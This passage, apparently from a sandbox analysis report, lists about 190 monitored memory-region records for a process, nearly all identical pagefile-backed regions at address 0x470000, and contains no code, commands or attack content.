pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13205 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13206 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13207 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13208 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13209 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13210 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13211 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13212 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13213 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13214 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13215 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13216 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13217 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13218 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13219 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13220 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13221 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13222 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13223 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13224 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13225 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13226 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13227 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13228 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13229 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13230 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13231 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13232 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13233 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13234 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13235 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13236 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13237 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13238 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13239 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13240 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13241 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13242 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13243 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13244 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13245 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13246 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13247 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13248 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13249 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13250 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13251 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13252 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13253 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13254 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13255 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13256 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13257 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13258 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13259 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13260 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13261 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13262 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13263 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13264 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13265 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13266 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13267 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13268 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13269 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13270 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13271 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13272 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13273 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13274 start_va = 0x460000 end_va = 0x463fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 13275 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 13276 start_va = 0x2270000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 13277 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13278 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13279 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13280 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13281 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13282 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13283 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13284 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13285 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13286 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13287 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13288 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13289 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13290 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13291 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13292 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13293 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13294 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13295 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13296 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13297 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13298 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13299 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13300 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13301 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13302 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13303 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13304 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13305 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13306 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13307 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13308 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13309 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13310 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13311 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13312 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13313 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13314 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13315 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13316 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13317 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13318 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13319 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13320 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13321 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13322 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13323 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13324 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13325 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13326 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13327 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13328 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13329 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13330 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13331 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13332 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13333 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13334 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13335 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13336 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13337 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13338 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13339 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13340 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13341 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13342 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13343 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13344 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13345 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13346 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13347 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13348 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13349 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13350 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13351 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13352 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13353 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13354 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13355 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13356 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13357 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13358 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13359 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13360 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13361 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13362 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13363 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13364 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13365 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13366 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13367 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13368 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13369 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13370 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13371 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13372 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13373 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13374 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13375 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13376 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13377 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13378 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13379 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13380 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13381 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13382 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13383 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13384 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13385 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13386 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13387 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13388 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13389 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 13390 start_va = 0x2270000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 13391 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 13392 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = 